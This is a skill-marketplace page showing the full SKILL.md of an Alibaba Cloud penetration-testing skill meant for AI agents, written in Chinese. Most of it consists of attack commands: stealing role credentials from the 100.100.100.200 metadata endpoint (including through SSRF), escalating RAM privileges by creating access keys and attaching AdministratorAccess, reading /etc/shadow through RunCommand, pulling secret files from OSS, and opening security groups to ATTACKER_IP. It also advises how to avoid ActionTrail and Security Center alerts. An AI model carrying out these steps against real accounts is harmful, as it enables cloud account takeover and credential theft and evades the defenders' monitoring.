Aliyun Pentesting logo

Aliyun Pentesting

OrganizationPopular
wgpsec
aliyun-pentesting

阿里云渗透测试方法论。当目标使用阿里云服务、发现 oss-*.aliyuncs.com 资产、获取阿里云 AccessKey(LTAI 开头)、在 ECS 实例内部可访问 100.100.100.200 元数据、或需要对阿里云 RAM/ECS/OSS/RDS/ACK/FC 等服务进行安全评估时使用。覆盖 RAM 提权、ECS 接管、OSS Bucket 利用、RDS 数据库攻击、ACK 容器集群、FC 函数计算、SLB 负载均衡、日志服务、KMS 密钥管理

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namealiyun-pentesting
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Aliyun Pentesting AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/aliyun-pentesting .claude/skills/aliyun-pentesting
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Aliyun Pentesting in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Aliyun Pentesting on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Aliyun Pentesting is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

阿里云渗透测试方法论

阿里云 RAM/ECS/OSS/RDS/ACK 等服务构成主要攻击面。与 AWS 不同,阿里云的元数据端点为 100.100.100.200,AccessKey 以 LTAI 开头,且部分安全机制(如元数据服务访问限制、ActionTrail 覆盖范围)与国际云平台存在显著差异。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。

⛔ 深入参考(必读)

识别到具体攻击服务后,加载对应参考文档获取完整技术细节:


Phase 1: 环境识别

拿到阿里云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。

1.1 凭据类型

凭据类型识别特征有效期获取方式
长期 AccessKeyAccessKeyId 以 LTAI 开头永久(直到手动轮换)RAM 控制台创建 / 代码泄露
STS 临时凭据AccessKeyId 以 STS. 开头 + SecurityToken15 分钟 ~ 12 小时AssumeRole / ECS 元数据
RAM Role(ECS 绑定)通过 100.100.100.200 获取自动轮换(约 6 小时)ECS 实例元数据服务
Bearer Token用于部分 OpenAPI视场景而定OAuth 授权流程

1.2 CLI 配置与身份验证

bash
# 配置 aliyun CLI(交互式,填入 AccessKeyId/Secret/Region)
aliyun configure

# 验证当前身份(最基础的检查,等同于 AWS 的 sts get-caller-identity)
aliyun sts GetCallerIdentity
# 返回: AccountId, Arn, IdentityType (对应 User/Role/AssumedRoleUser)

# 查看当前 RAM 用户详情
aliyun ram GetUser

1.3 元数据端点

阿里云 ECS 元数据端点与 AWS 169.254.169.254 不同,使用 100.100.100.200

bash
# 判断是否在 ECS 实例内部
curl -s http://100.100.100.200/latest/meta-data/

# 获取实例绑定的 RAM Role 名称
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/

# 获取该 Role 的临时凭据(AccessKeyId/AccessKeySecret/SecurityToken)
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME

# 获取实例 ID、区域等信息
curl -s http://100.100.100.200/latest/meta-data/instance-id
curl -s http://100.100.100.200/latest/meta-data/region-id

# 获取 User-Data(可能包含初始化脚本中的凭据)
curl -s http://100.100.100.200/latest/user-data

注意: 阿里云目前不强制 IMDSv2(Token 模式),大部分 ECS 实例的元数据服务可直接通过 HTTP GET 访问,无需 Token Header。这使得 SSRF 漏洞在阿里云环境中的危害更大。

1.4 对象存储 URL 格式

公网访问:  https://{bucket}.oss-{region}.aliyuncs.com/{object}
内网访问:  https://{bucket}.oss-{region}-internal.aliyuncs.com/{object}

发现 oss-*.aliyuncs.com 域名即可确认目标使用阿里云 OSS。Bucket 名称全局唯一。

1.5 区域编码

区域代码位置备注
cn-hangzhou华东1(杭州)阿里云总部所在地,最常用区域
cn-shanghai华东2(上海)金融客户常用
cn-qingdao华北1(青岛)
cn-beijing华北2(北京)政企客户常用
cn-shenzhen华南1(深圳)
cn-chengdu西南1(成都)
cn-hongkong中国香港无需备案,常被用于出海业务
ap-southeast-1新加坡海外区域

枚举时需遍历多个区域。部分服务(如 RAM、STS)为全局服务,不受区域限制。


Phase 2: 攻击决策树

根据当前持有的凭据/位置,判断攻击路径:

当前持有什么?
├── 无凭据
│   ├── 有目标域名 → OSS Bucket 枚举(猜解 bucket 名 + 公开访问检测)
│   ├── 有 SSRF 漏洞 → 打 http://100.100.100.200 获取 RAM Role 凭据
│   └── 仅知组织名 → OSINT + OSS/子域名枚举
├── 有 AccessKey(LTAI 开头)
│   ├── 先验证: aliyun sts GetCallerIdentity
│   ├── 有 RAM 写权限 → Phase 3(RAM 提权)
│   ├── 有 ECS 权限 → Phase 4(计算/存储)
│   ├── 有 OSS 权限 → Phase 4(对象存储)
│   ├── 有 RDS 权限 → Phase 4(数据库)
│   └── 权限不明 → 逐服务探测(无 enumerate-iam 等工具,需手动探测)
├── 有 STS 临时凭据(STS. 开头)
│   └── 同上,但需注意有效期,快速行动
├── 在 ECS 实例内部
│   ├── 获取元数据 RAM Role 凭据 → 根据权限进入对应 Phase
│   └── 检查 User-Data 中是否有硬编码凭据
└── 有容器环境(ACK Pod 内部)
    ├── 检查 ServiceAccount Token
    ├── 尝试访问元数据服务
    └── → Phase 5(容器/Serverless)

Phase 3: RAM 提权速查

RAM(Resource Access Management)是阿里云的身份权限服务,对标 AWS IAM。

3.1 信息收集

bash
# 列出所有 RAM 用户
aliyun ram ListUsers

# 查看指定用户的策略
aliyun ram ListPoliciesForUser --UserName USERNAME

# 列出该用户的 AccessKey(检查是否有多个)
aliyun ram ListAccessKeys --UserName USERNAME

# 列出所有角色及信任策略
aliyun ram ListRoles

3.2 提权路径

提权路径所需权限操作
创建 AccessKeyram:CreateAccessKey为高权限用户创建新 AK
附加策略ram:AttachPolicyToUser给自己附加 AdministratorAccess
创建策略版本ram:CreatePolicyVersion新建 Allow * 策略版本并设为默认
修改角色信任策略ram:UpdateRole修改 AssumeRolePolicyDocument 使自己可切换
PassRole + 创建 ECSram:PassRole + ecs:CreateInstance启动绑定高权限 Role 的 ECS
PassRole + 创建 FCram:PassRole + fc:CreateFunction创建绑定高权限 Role 的函数并执行
bash
# 提权示例:为目标用户创建新 AccessKey
aliyun ram CreateAccessKey --UserName TARGET_USERNAME
# 成功返回 AccessKeyId + AccessKeySecret,用新凭据重新配置 CLI

# 提权示例:给当前用户附加管理员策略
aliyun ram AttachPolicyToUser --PolicyType System \
  --PolicyName AdministratorAccess --UserName CURRENT_USERNAME

Phase 4: 计算/存储/数据库速查

ECS(云服务器)

bash
# 列出实例
aliyun ecs DescribeInstances --output cols=InstanceId,InstanceName,Status

# 通过 Cloud Assistant 执行命令(需安装云助手 Agent)
aliyun ecs RunCommand --Type RunShellScript \
  --CommandContent "id; cat /etc/shadow" --InstanceId.1 i-INSTANCE_ID

→ 读 references/compute-storage-attacks.md 获取 VNC 连接、User-Data 提取、命令执行完整流程

OSS(对象存储)

bash
# 列出 Bucket → 检查 ACL → 下载敏感文件
aliyun oss ls
aliyun oss ls oss://BUCKET_NAME/ --include "*.env" --include "*.key" --include "*.pem" --include "*credential*"

→ 读 references/compute-storage-attacks.md 获取 ACL 修改、公开读设置、批量下载完整流程

RDS(关系型数据库)

bash
# 列出实例 → 获取连接串 → 创建账号
aliyun rds DescribeDBInstances --output cols=DBInstanceId,DBInstanceDescription

→ 读 references/compute-storage-attacks.md 获取账号创建、数据库授权完整流程

SLB(负载均衡)

bash
# 列出 SLB → 查看后端服务器
aliyun slb DescribeLoadBalancers --output cols=LoadBalancerId,Address,Status

→ 读 references/compute-storage-attacks.md 获取后端篡改、流量劫持完整流程


Phase 5: 容器/Serverless/日志/KMS 速查

ACK(容器服务 Kubernetes)

bash
# 列出集群 → 获取 kubeconfig
aliyun cs DescribeClusters
aliyun cs DescribeClusterUserKubeconfig --ClusterId CLUSTER_ID

→ 读 references/platform-services-attacks.md 获取集群接管、特权 Pod 创建完整流程

FC(函数计算)

bash
# 列出函数 → 检查环境变量中的凭据
aliyun fc ListFunctions --serviceName SERVICE_NAME --output cols=FunctionName,Runtime

→ 读 references/platform-services-attacks.md 获取代码提取、环境变量泄露完整流程

日志服务(SLS)

bash
# 搜索敏感信息
aliyun log GetLogs --logstore LOG_STORE --query "password|secret|token"

→ 读 references/platform-services-attacks.md 获取日志搜索、批量导出完整流程

KMS(密钥管理)

bash
# 列出密钥 → 尝试解密
aliyun kms ListKeys

→ 读 references/platform-services-attacks.md 获取密钥枚举、数据解密完整流程


Phase 6: 安全组操控

安全组是阿里云 ECS 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。

bash
# 列出所有安全组
aliyun ecs DescribeSecurityGroups --output cols=SecurityGroupId,Description

# 查看安全组规则
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId SG_ID

# 添加入方向规则 — 仅开放攻击者 IP 的 SSH
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
  --IpProtocol tcp --PortRange 22/22 --SourceCidrIp ATTACKER_IP/32

# 危险操作 — 开放所有端口(极高告警风险)
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
  --IpProtocol tcp --PortRange 1/65535 --SourceCidrIp 0.0.0.0/0

判断依据: 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发云安全中心告警。


工具速查

工具用途安装/使用
aliyun CLI阿里云官方命令行工具brew install aliyun-cli 或从 GitHub Releases 下载
aliyun sts GetCallerIdentity验证凭据身份内置子命令
aliyun ossOSS 对象操作内置子命令
ossutilOSS 专用工具(大文件传输更优)独立二进制,阿里云官网下载
curl元数据服务探测系统自带
kubectlACK 集群操作获取 kubeconfig 后使用
cf (Cloud Exploitation Framework)阿里云/腾讯云自动化利用go install github.com/teamssix/cf@latest
aliyun-accesskey-toolsAccessKey 利用集合社区工具

注意事项

ActionTrail 审计感知: 阿里云 ActionTrail 记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:

  • RAM 变更(CreateUser、CreateAccessKey、AttachPolicyToUser)
  • STS 调用(AssumeRole)
  • 安全组规则变更(AuthorizeSecurityGroup)

云安全中心检测: 阿里云云安全中心(安骑士升级版)会检测:

  • AccessKey 异常调用(异常 IP、异常时间、异常 API 频率)
  • ECS 异常登录(非常用地域 IP)
  • 安全组规则异常开放
  • OSS Bucket ACL 变更为公开

速率限制: 阿里云 OpenAPI 有限流机制,枚举时建议控制频率。触发限流返回 Throttling.User 错误码。

区域遍历: 与 AWS 类似,阿里云资源按区域隔离。全局服务(RAM、STS)不受区域限制,但 ECS/OSS/RDS 等需逐区域枚举。

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Aliyun Pentesting AI skill do?

阿里云渗透测试方法论。当目标使用阿里云服务、发现 oss-*.aliyuncs.com 资产、获取阿里云 AccessKey(LTAI 开头)、在 ECS 实例内部可访问 100.100.100.200 元数据、或需要对阿里云 RAM/ECS/OSS/RDS/ACK/FC 等服务进行安全评估时使用。覆盖 RAM 提权、ECS 接管、OSS Bucket 利用、RDS 数据库攻击、ACK 容器集群、FC 函数计算、SLB 负载均衡、日志服务、KMS 密钥管理

Why use Aliyun Pentesting on TypingMind?

Because you install it once and use it with any model. Aliyun Pentesting is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Aliyun Pentesting in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/aliyun-pentesting. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Aliyun Pentesting?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Aliyun Pentesting?

As many as you like. As long as a model supports skills, you can use Aliyun Pentesting with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Aliyun Pentesting AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇